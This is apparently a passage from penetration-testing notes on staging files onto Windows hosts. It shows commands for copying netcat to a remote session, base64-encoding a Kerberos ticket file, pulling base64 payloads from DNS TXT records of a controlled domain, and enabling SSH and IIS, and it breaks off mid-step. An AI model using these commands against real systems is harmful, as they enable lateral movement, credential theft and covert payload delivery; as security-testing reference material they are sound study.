echo <base64> | base64 -d -w 0 > bloodhound.zip

Copy-Item

Copy-Item -Path C:\Temp\nc.exe -Destination C:\Temp\nc.exe -ToSession $session

Set-Content

Invoke-Command -ComputerName 10.10.10.132 -ScriptBlock {Set-Content -Path C:\Temp\nc.exe -value $using:file}

SSH-Server via PowerShell

Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'

This returns some output, based on which you would then do something like:

Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0 Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

To start an SSH-server: Start-Service sshd

To uninstall the SSH-server/client:

Remove-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0 Remove-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

You may have some firewall issues, refer to https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse#install-openssh-using-powershell.

It's also possible via the GUI:

Open Settings, select Apps > Apps & Features, then select Optional Features. Then select Add a feature, and you should be able to install OpenSSH Client and Server.

Base64 Encode/Decode

Encode

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\TEMP\admin.kirbi"))

Decode

[IO.File]::WriteAllBytes("admin.kirbi", [Convert]::FromBase64String("<base64>"))

DNS

Data/binaries can be base64 encoded and stored in TXT records of a domain under your control, with chunks of 255 characters stored in each record. The TXT records can be retrieved simply using dig/nslookup, and the data retrieval process can be automated in Python etc.

dig +short TXT megalogisticshipping.com | awk -F"\"" '{ print $2 }' | base64 -d -w0

nslookup -type=TXT megalogisticshipping.com 2> nul | findstr "\""

With administrative access to a Windows machine, IIS can be installed.

This can be done in the GUI:

Or in the CLI:

Add-WindowsFeature Web-Server, Web-Mgmt-Tools

The above might not work on some versions of Windows. In that case, try the following:
